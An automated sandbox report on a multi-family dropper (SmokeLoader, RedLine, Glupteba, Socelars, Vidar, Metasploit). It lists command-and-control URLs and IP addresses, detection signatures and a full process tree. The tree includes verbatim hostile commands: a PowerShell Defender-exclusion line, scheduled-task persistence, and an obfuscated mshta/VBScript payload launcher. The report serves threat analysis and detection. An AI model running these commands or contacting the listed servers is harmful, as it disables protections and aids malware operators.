glupteba | 7ec88d4baa0a97362a026cf6e0f46422379a99be6d9bfe19034152f3d47cc0ed

Target

setup_x86_x64_install.exe
Size

6.5MB
MD5

064f0d6900675bed580da1291a566cfa
SHA1

f81699a68c901d190842de735dbda28a3fb52292
SHA256

7ec88d4baa0a97362a026cf6e0f46422379a99be6d9bfe19034152f3d47cc0ed
SHA512

41dc5c444afd6b5dc0947cf9950acb5aa1081ee9921c748195325b5cfcb23532cea1802959baa59a0c41ed998ba20b509ec107da882d5d8b3bf0b1d17f892738

Malware Config

Extracted

Family

smokeloader

Version

2020

http://varmisende.com/upload/

http://fernandomayol.com/upload/

http://nextlytm.com/upload/

http://people4jan.com/upload/

http://asfaltwerk.com/upload/

rc4.i32

Extracted

Family

redline

Botnet

medianew

91.121.67.60:62102

Extracted

Family

redline

Botnet

ANI

45.142.215.47:27643

Extracted

Family

redline

Botnet

matthew14

193.188.21.209:41939

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 2 IoCs

resource	yara_rule
behavioral2/memory/4880-397-0x0000000000400000-0x0000000000D39000-memory.dmp	family_glupteba
behavioral2/memory/4880-392-0x0000000001660000-0x0000000001F7E000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4076	3456	rundll32.exe	30

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 6 IoCs

resource	yara_rule
behavioral2/memory/4540-296-0x000000000041C5D6-mapping.dmp	family_redline
behavioral2/memory/4524-294-0x000000000041C5CA-mapping.dmp	family_redline
behavioral2/memory/4540-292-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral2/memory/4524-291-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral2/memory/2548-322-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral2/memory/2548-324-0x000000000041C5E2-mapping.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab33-147.dat	family_socelars
behavioral2/files/0x000100000001ab33-187.dat	family_socelars

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar

ASPack v2.12-2.42 6 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral2/files/0x000100000001ab2b-122.dat	aspack_v212_v242
behavioral2/files/0x000100000001ab2b-123.dat	aspack_v212_v242
behavioral2/files/0x000100000001ab2c-121.dat	aspack_v212_v242
behavioral2/files/0x000100000001ab2c-125.dat	aspack_v212_v242
behavioral2/files/0x000100000001ab2e-127.dat	aspack_v212_v242
behavioral2/files/0x000100000001ab2e-131.dat	aspack_v212_v242

Downloads MZ/PE file

Executes dropped EXE 23 IoCs

pid	Process
3944	setup_installer.exe
3708	setup_install.exe
2176	Thu20c467678e2c.exe
2212	Thu2094524d5e5b.exe
2448	Thu20f2cf5e0c.exe
3040	Thu20a5f7ccaa78.exe
2900	Thu2026c04e7218e1.exe
2908	Thu2090b5515d63b2.exe
3656	Thu20bc9ea26f.exe
2748	Thu2025d6674aed72ba.exe
3956	Thu203b503b429e68.exe
3744	Thu20fdd9ac35a68.exe
4068	Thu20dae7c52bc0856.exe
748	Thu203cdb52ef3c6580d.exe
1072	Thu2026c04e7218e1.tmp
2712	Chrome 5.exe
644	PublicDwlBrowser1100.exe
4132	2.exe
4164	8190857.scr
4216	setup.exe
4392	___YHDG34.exe
4488	BearVpn 3.exe
4668	3422249.exe

VMProtect packed file 3 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral2/files/0x000100000001ab3a-141.dat	vmprotect
behavioral2/files/0x000100000001ab3a-192.dat	vmprotect
behavioral2/memory/4068-198-0x0000000140000000-0x0000000140650000-memory.dmp	vmprotect

Loads dropped DLL 8 IoCs

pid	Process
3708	setup_install.exe
3708	setup_install.exe
3708	setup_install.exe
3708	setup_install.exe
3708	setup_install.exe
3708	setup_install.exe
3708	setup_install.exe
1072	Thu2026c04e7218e1.tmp

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
680	icacls.exe

Themida packer 1 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/memory/4152-328-0x0000000000D50000-0x0000000000D51000-memory.dmp	themida

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 10 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com
43	ipinfo.io
285	api.2ip.ua
308	ipinfo.io
44	ipinfo.io
168	ipinfo.io
169	ipinfo.io
242	ip-api.com
290	api.2ip.ua
307	ipinfo.io

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 23 IoCs

pid	pid_target	Process	procid_target
5040	4524	WerFault.exe	107
5056	4216	WerFault.exe	103
5028	2748	WerFault.exe	92
2504	2748	WerFault.exe	92
3272	4216	WerFault.exe	103
812	2748	WerFault.exe	92
5080	4216	WerFault.exe	103
4188	2748	WerFault.exe	92
4836	4216	WerFault.exe	103
5252	4216	WerFault.exe	103
5816	4216	WerFault.exe	103
5724	2748	WerFault.exe	92
5132	2748	WerFault.exe	92
3576	5240	WerFault.exe	146
3772	4216	WerFault.exe	103
1484	5240	WerFault.exe	146
4984	5240	WerFault.exe	146
5828	1608	WerFault.exe	165
2516	2748	WerFault.exe	92
3564	5240	WerFault.exe	146
5888	2748	WerFault.exe	92
2004	5240	WerFault.exe	146
6912	4668	WerFault.exe	108

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Thu20bc9ea26f.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Thu20bc9ea26f.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Thu20bc9ea26f.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
7524	schtasks.exe
7516	schtasks.exe
6760	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4652	timeout.exe

Kills process with taskkill 5 IoCs

evasion

pid	Process
5400	taskkill.exe
8472	taskkill.exe
6012	taskkill.exe
7340	taskkill.exe
4740	taskkill.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	7	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3656	Thu20bc9ea26f.exe
3656	Thu20bc9ea26f.exe
2672	powershell.exe
2672	powershell.exe
2672	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3656	Thu20bc9ea26f.exe

Suspicious use of AdjustPrivilegeToken 41 IoCs

description	pid	Process
Token: SeCreateTokenPrivilege	3956	Thu203b503b429e68.exe
Token: SeAssignPrimaryTokenPrivilege	3956	Thu203b503b429e68.exe
Token: SeLockMemoryPrivilege	3956	Thu203b503b429e68.exe
Token: SeIncreaseQuotaPrivilege	3956	Thu203b503b429e68.exe
Token: SeMachineAccountPrivilege	3956	Thu203b503b429e68.exe
Token: SeTcbPrivilege	3956	Thu203b503b429e68.exe
Token: SeSecurityPrivilege	3956	Thu203b503b429e68.exe
Token: SeTakeOwnershipPrivilege	3956	Thu203b503b429e68.exe
Token: SeLoadDriverPrivilege	3956	Thu203b503b429e68.exe
Token: SeSystemProfilePrivilege	3956	Thu203b503b429e68.exe
Token: SeSystemtimePrivilege	3956	Thu203b503b429e68.exe
Token: SeProfSingleProcessPrivilege	3956	Thu203b503b429e68.exe
Token: SeIncBasePriorityPrivilege	3956	Thu203b503b429e68.exe
Token: SeCreatePagefilePrivilege	3956	Thu203b503b429e68.exe
Token: SeCreatePermanentPrivilege	3956	Thu203b503b429e68.exe
Token: SeBackupPrivilege	3956	Thu203b503b429e68.exe
Token: SeRestorePrivilege	3956	Thu203b503b429e68.exe
Token: SeShutdownPrivilege	3956	Thu203b503b429e68.exe
Token: SeDebugPrivilege	3956	Thu203b503b429e68.exe
Token: SeAuditPrivilege	3956	Thu203b503b429e68.exe
Token: SeSystemEnvironmentPrivilege	3956	Thu203b503b429e68.exe
Token: SeChangeNotifyPrivilege	3956	Thu203b503b429e68.exe
Token: SeRemoteShutdownPrivilege	3956	Thu203b503b429e68.exe
Token: SeUndockPrivilege	3956	Thu203b503b429e68.exe
Token: SeSyncAgentPrivilege	3956	Thu203b503b429e68.exe
Token: SeEnableDelegationPrivilege	3956	Thu203b503b429e68.exe
Token: SeManageVolumePrivilege	3956	Thu203b503b429e68.exe
Token: SeImpersonatePrivilege	3956	Thu203b503b429e68.exe
Token: SeCreateGlobalPrivilege	3956	Thu203b503b429e68.exe
Token: 31	3956	Thu203b503b429e68.exe
Token: 32	3956	Thu203b503b429e68.exe
Token: 33	3956	Thu203b503b429e68.exe
Token: 34	3956	Thu203b503b429e68.exe
Token: 35	3956	Thu203b503b429e68.exe
Token: SeDebugPrivilege	2448	Thu20f2cf5e0c.exe
Token: SeDebugPrivilege	2672	powershell.exe
Token: SeDebugPrivilege	644	PublicDwlBrowser1100.exe
Token: SeDebugPrivilege	4132	2.exe
Token: SeDebugPrivilege	2908	Thu2090b5515d63b2.exe
Token: SeDebugPrivilege	4164	8190857.scr
Token: SeDebugPrivilege	4488	BearVpn 3.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3728 wrote to memory of 3944	3728	setup_x86_x64_install.exe	68
PID 3728 wrote to memory of 3944	3728	setup_x86_x64_install.exe	68
PID 3728 wrote to memory of 3944	3728	setup_x86_x64_install.exe	68
PID 3944 wrote to memory of 3708	3944	setup_installer.exe	69
PID 3944 wrote to memory of 3708	3944	setup_installer.exe	69
PID 3944 wrote to memory of 3708	3944	setup_installer.exe	69
PID 3708 wrote to memory of 1004	3708	setup_install.exe	72
PID 3708 wrote to memory of 1004	3708	setup_install.exe	72
PID 3708 wrote to memory of 1004	3708	setup_install.exe	72
PID 3708 wrote to memory of 404	3708	setup_install.exe	73
PID 3708 wrote to memory of 404	3708	setup_install.exe	73
PID 3708 wrote to memory of 404	3708	setup_install.exe	73
PID 3708 wrote to memory of 1028	3708	setup_install.exe	75
PID 3708 wrote to memory of 1028	3708	setup_install.exe	75
PID 3708 wrote to memory of 1028	3708	setup_install.exe	75
PID 3708 wrote to memory of 1096	3708	setup_install.exe	74
PID 3708 wrote to memory of 1096	3708	setup_install.exe	74
PID 3708 wrote to memory of 1096	3708	setup_install.exe	74
PID 3708 wrote to memory of 1256	3708	setup_install.exe	76
PID 3708 wrote to memory of 1256	3708	setup_install.exe	76
PID 3708 wrote to memory of 1256	3708	setup_install.exe	76
PID 3708 wrote to memory of 1372	3708	setup_install.exe	77
PID 3708 wrote to memory of 1372	3708	setup_install.exe	77
PID 3708 wrote to memory of 1372	3708	setup_install.exe	77
PID 3708 wrote to memory of 1524	3708	setup_install.exe	82
PID 3708 wrote to memory of 1524	3708	setup_install.exe	82
PID 3708 wrote to memory of 1524	3708	setup_install.exe	82
PID 3708 wrote to memory of 1584	3708	setup_install.exe	81
PID 3708 wrote to memory of 1584	3708	setup_install.exe	81
PID 3708 wrote to memory of 1584	3708	setup_install.exe	81
PID 3708 wrote to memory of 1712	3708	setup_install.exe	78
PID 3708 wrote to memory of 1712	3708	setup_install.exe	78
PID 3708 wrote to memory of 1712	3708	setup_install.exe	78
PID 3708 wrote to memory of 1856	3708	setup_install.exe	79
PID 3708 wrote to memory of 1856	3708	setup_install.exe	79
PID 3708 wrote to memory of 1856	3708	setup_install.exe	79
PID 3708 wrote to memory of 1944	3708	setup_install.exe	80
PID 3708 wrote to memory of 1944	3708	setup_install.exe	80
PID 3708 wrote to memory of 1944	3708	setup_install.exe	80
PID 3708 wrote to memory of 2084	3708	setup_install.exe	89
PID 3708 wrote to memory of 2084	3708	setup_install.exe	89
PID 3708 wrote to memory of 2084	3708	setup_install.exe	89
PID 404 wrote to memory of 2176	404	cmd.exe	84
PID 404 wrote to memory of 2176	404	cmd.exe	84
PID 404 wrote to memory of 2176	404	cmd.exe	84
PID 1584 wrote to memory of 2212	1584	cmd.exe	83
PID 1584 wrote to memory of 2212	1584	cmd.exe	83
PID 1584 wrote to memory of 2212	1584	cmd.exe	83
PID 1028 wrote to memory of 2448	1028	cmd.exe	86
PID 1028 wrote to memory of 2448	1028	cmd.exe	86
PID 3708 wrote to memory of 2372	3708	setup_install.exe	85
PID 3708 wrote to memory of 2372	3708	setup_install.exe	85
PID 3708 wrote to memory of 2372	3708	setup_install.exe	85
PID 1004 wrote to memory of 2672	1004	cmd.exe	87
PID 1004 wrote to memory of 2672	1004	cmd.exe	87
PID 1004 wrote to memory of 2672	1004	cmd.exe	87
PID 1256 wrote to memory of 3040	1256	cmd.exe	88
PID 1256 wrote to memory of 3040	1256	cmd.exe	88
PID 1256 wrote to memory of 3040	1256	cmd.exe	88
PID 1712 wrote to memory of 2908	1712	cmd.exe	90
PID 1712 wrote to memory of 2908	1712	cmd.exe	90
PID 1372 wrote to memory of 2900	1372	cmd.exe	91
PID 1372 wrote to memory of 2900	1372	cmd.exe	91
PID 1372 wrote to memory of 2900	1372	cmd.exe	91

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3728
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3944
- - C:\Users\Admin\AppData\Local\Temp\7zS86F70C51\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS86F70C51\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:3708
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1004
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2672
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu20c467678e2c.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:404
    - - C:\Users\Admin\AppData\Local\Temp\7zS86F70C51\Thu20c467678e2c.exe
        
        Thu20c467678e2c.exe
        5⤵
        Executes dropped EXE
        
        PID:2176
      - C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
        6⤵
        Executes dropped EXE
        
        PID:2712
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        7⤵
        
        PID:3056
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        8⤵
        Creates scheduled task(s)
        
        PID:6760
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        7⤵
        
        PID:6484
      - C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:644
        
        C:\ProgramData\3422249.exe
        
        "C:\ProgramData\3422249.exe"
        7⤵
        Executes dropped EXE
        
        PID:4668
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 4668 -s 1760
        8⤵
        Program crash
        
        PID:6912
        
        C:\ProgramData\7091388.exe
        
        "C:\ProgramData\7091388.exe"
        7⤵
        
        PID:4152
      - C:\Users\Admin\AppData\Local\Temp\2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4132
        
        C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        7⤵
        
        PID:4880
      - C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        6⤵
        Executes dropped EXE
        
        PID:4216
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4216 -s 808
        7⤵
        Program crash
        
        PID:5056
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4216 -s 820
        7⤵
        Program crash
        
        PID:3272
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4216 -s 884
        7⤵
        Program crash
        
        PID:5080
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4216 -s 960
        7⤵
        Program crash
        
        PID:4836
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4216 -s 940
        7⤵
        Program crash
        
        PID:5252
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4216 -s 816
        7⤵
        Program crash
        
        PID:5816
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4216 -s 1036
        7⤵
        Program crash
        
        PID:3772
      - C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4488
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu20dae7c52bc0856.exe
      4⤵
      PID:1096
    - - C:\Users\Admin\AppData\Local\Temp\7zS86F70C51\Thu20dae7c52bc0856.exe
        
        Thu20dae7c52bc0856.exe
        5⤵
        Executes dropped EXE
        
        PID:4068
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu20f2cf5e0c.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1028
    - - C:\Users\Admin\AppData\Local\Temp\7zS86F70C51\Thu20f2cf5e0c.exe
        
        Thu20f2cf5e0c.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2448
      - C:\Users\Admin\AppData\Roaming\8190857.scr
        
        "C:\Users\Admin\AppData\Roaming\8190857.scr" /S
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4164
      - C:\Users\Admin\AppData\Roaming\8987345.scr
        
        "C:\Users\Admin\AppData\Roaming\8987345.scr" /S
        6⤵
        
        PID:4208
      - C:\Users\Admin\AppData\Roaming\7331035.scr
        
        "C:\Users\Admin\AppData\Roaming\7331035.scr" /S
        6⤵
        
        PID:5548
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu20a5f7ccaa78.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1256
    - - C:\Users\Admin\AppData\Local\Temp\7zS86F70C51\Thu20a5f7ccaa78.exe
        
        Thu20a5f7ccaa78.exe
        5⤵
        Executes dropped EXE
        
        PID:3040
      - C:\Users\Admin\AppData\Local\Temp\7zS86F70C51\Thu20a5f7ccaa78.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS86F70C51\Thu20a5f7ccaa78.exe
        6⤵
        
        PID:4524
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 24
        7⤵
        Program crash
        
        PID:5040
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu2026c04e7218e1.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1372
    - - C:\Users\Admin\AppData\Local\Temp\7zS86F70C51\Thu2026c04e7218e1.exe
        
        Thu2026c04e7218e1.exe
        5⤵
        Executes dropped EXE
        
        PID:2900
      - C:\Users\Admin\AppData\Local\Temp\is-7FVUG.tmp\Thu2026c04e7218e1.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-7FVUG.tmp\Thu2026c04e7218e1.tmp" /SL5="$70038,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS86F70C51\Thu2026c04e7218e1.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1072
        
        C:\Users\Admin\AppData\Local\Temp\is-KQVA5.tmp\___YHDG34.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-KQVA5.tmp\___YHDG34.exe" /S /UID=burnerch2
        7⤵
        Executes dropped EXE
        
        PID:4392
        
        C:\Program Files\MSBuild\ADXUCMNIBX\ultramediaburner.exe
        
        "C:\Program Files\MSBuild\ADXUCMNIBX\ultramediaburner.exe" /VERYSILENT
        8⤵
        
        PID:3960
        
        C:\Users\Admin\AppData\Local\Temp\is-NTKQ9.tmp\ultramediaburner.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-NTKQ9.tmp\ultramediaburner.tmp" /SL5="$1039A,281924,62464,C:\Program Files\MSBuild\ADXUCMNIBX\ultramediaburner.exe" /VERYSILENT
        9⤵
        
        PID:5484
        
        C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
        
        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
        10⤵
        
        PID:3440
        
        C:\Users\Admin\AppData\Local\Temp\39-8adab-eac-70781-4d071947ae367\Byxubovili.exe
        
        "C:\Users\Admin\AppData\Local\Temp\39-8adab-eac-70781-4d071947ae367\Byxubovili.exe"
        8⤵
        
        PID:3008
        
        C:\Users\Admin\AppData\Local\Temp\f4-af452-b36-6ce9e-d87154a97e998\ZHugeqawusa.exe
        
        "C:\Users\Admin\AppData\Local\Temp\f4-af452-b36-6ce9e-d87154a97e998\ZHugeqawusa.exe"
        8⤵
        
        PID:4292
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu2090b5515d63b2.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1712
    - - C:\Users\Admin\AppData\Local\Temp\7zS86F70C51\Thu2090b5515d63b2.exe
        
        Thu2090b5515d63b2.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2908
      - C:\Users\Admin\AppData\Local\Temp\tmp88C2_tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmp88C2_tmp.exe"
        6⤵
        
        PID:4732
        
        C:\Users\Admin\AppData\Local\Temp\tmp88C2_tmp.exe
        
        C:\Users\Admin\AppData\Local\Temp\tmp88C2_tmp.exe
        7⤵
        
        PID:2548
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu2025d6674aed72ba.exe /mixone
      4⤵
      PID:1856
    - - C:\Users\Admin\AppData\Local\Temp\7zS86F70C51\Thu2025d6674aed72ba.exe
        
        Thu2025d6674aed72ba.exe /mixone
        5⤵
        Executes dropped EXE
        
        PID:2748
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2748 -s 656
        6⤵
        Program crash
        
        PID:5028
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2748 -s 676
        6⤵
        Program crash
        
        PID:2504
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2748 -s 632
        6⤵
        Program crash
        
        PID:812
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2748 -s 728
        6⤵
        Program crash
        
        PID:4188
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2748 -s 888
        6⤵
        Program crash
        
        PID:5724
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2748 -s 800
        6⤵
        Program crash
        
        PID:5132
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2748 -s 1176
        6⤵
        Program crash
        
        PID:2516
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2748 -s 1244
        6⤵
        Program crash
        
        PID:5888
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu20bc9ea26f.exe
      4⤵
      PID:1944
    - - C:\Users\Admin\AppData\Local\Temp\7zS86F70C51\Thu20bc9ea26f.exe
        
        Thu20bc9ea26f.exe
        5⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:3656
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu2094524d5e5b.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1584
    - - C:\Users\Admin\AppData\Local\Temp\7zS86F70C51\Thu2094524d5e5b.exe
        
        Thu2094524d5e5b.exe
        5⤵
        Executes dropped EXE
        
        PID:2212
      - C:\Users\Admin\Documents\raMnQnKtTn3uIdR0Z8uTu3kf.exe
        
        "C:\Users\Admin\Documents\raMnQnKtTn3uIdR0Z8uTu3kf.exe"
        6⤵
        
        PID:3832
      - C:\Users\Admin\Documents\_uHkP5876xoeQCY5g41hulgU.exe
        
        "C:\Users\Admin\Documents\_uHkP5876xoeQCY5g41hulgU.exe"
        6⤵
        
        PID:4636
        
        C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe
        
        "C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"
        7⤵
        
        PID:7200
        
        C:\Users\Admin\Documents\Hy5xAh2fTk4Sh0iVEtKh4zUs.exe
        
        "C:\Users\Admin\Documents\Hy5xAh2fTk4Sh0iVEtKh4zUs.exe"
        8⤵
        
        PID:8840
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:7524
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:7516
      - C:\Users\Admin\Documents\nhKkAADw9GZomlEMg5A_TtDK.exe
        
        "C:\Users\Admin\Documents\nhKkAADw9GZomlEMg5A_TtDK.exe"
        6⤵
        
        PID:2652
      - C:\Users\Admin\Documents\WIGN0VVEWJfOsrur_22p64RN.exe
        
        "C:\Users\Admin\Documents\WIGN0VVEWJfOsrur_22p64RN.exe"
        6⤵
        
        PID:4512
        
        C:\Users\Admin\Documents\WIGN0VVEWJfOsrur_22p64RN.exe
        
        "C:\Users\Admin\Documents\WIGN0VVEWJfOsrur_22p64RN.exe"
        7⤵
        
        PID:6900
      - C:\Users\Admin\Documents\0leVScrNOsTvamhsxkztT2Je.exe
        
        "C:\Users\Admin\Documents\0leVScrNOsTvamhsxkztT2Je.exe"
        6⤵
        
        PID:5276
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:CLOse( crEateOBjeCt ( "wScrIPT.SHELL" ). RuN( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\Documents\0leVScrNOsTvamhsxkztT2Je.exe"" >CndH5V.EXe && Start Cndh5V.EXE -pHMKPyuuVVnjhxYIEreJKQmnfTDzj & IF """"== """" for %w In ( ""C:\Users\Admin\Documents\0leVScrNOsTvamhsxkztT2Je.exe"" ) do taskkill /F -iM ""%~nxw"" " , 0, tRUE ) )
        7⤵
        
        PID:6148
        
        C:\Windows\SysWOW64\cmd.exe
        
